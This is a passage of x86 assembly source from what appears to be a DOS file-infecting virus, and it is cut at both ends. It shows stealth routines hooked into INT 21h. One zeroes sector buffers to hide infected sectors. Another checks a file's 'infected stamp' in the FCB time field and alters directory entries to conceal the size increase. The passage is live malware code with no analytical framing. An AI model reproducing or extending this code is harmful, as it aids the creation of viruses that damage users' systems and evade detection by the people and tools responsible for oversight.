... ctors read? JZ Exit_Stealth_i13h ; Then abort stealthing. CLD ; Fill buffer with zeroes. XOR AX, AX MOV CX, (512 / 2) REP STOSW DEC DX ; Decrease #sectors 2 stelth. JMP Clear_Sector_Buffer Stealth_Filesize_FCB: CALL OldInt21h ; Execute function. CALL Push_All OR AL, AL ; Error? JNZ Error_FCB ; If yes, then exit. TEST CS:Status, 00000010b ; Can we perform sizestealth? JZ Error_FCB MOV AH, 2Fh ; Get DTA-address. CALL OldInt21h CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB? JNE Normal_FCB ADD BX, 7 ; Skip extended stuff. Normal_FCB: MOV AL, ES:[BX+17h] AND AL, 00011111b ; Infected stamp? CMP AL, 00011110b JNE Error_FCB AND BYTE PTR ES:[BX+17h], 1110 ...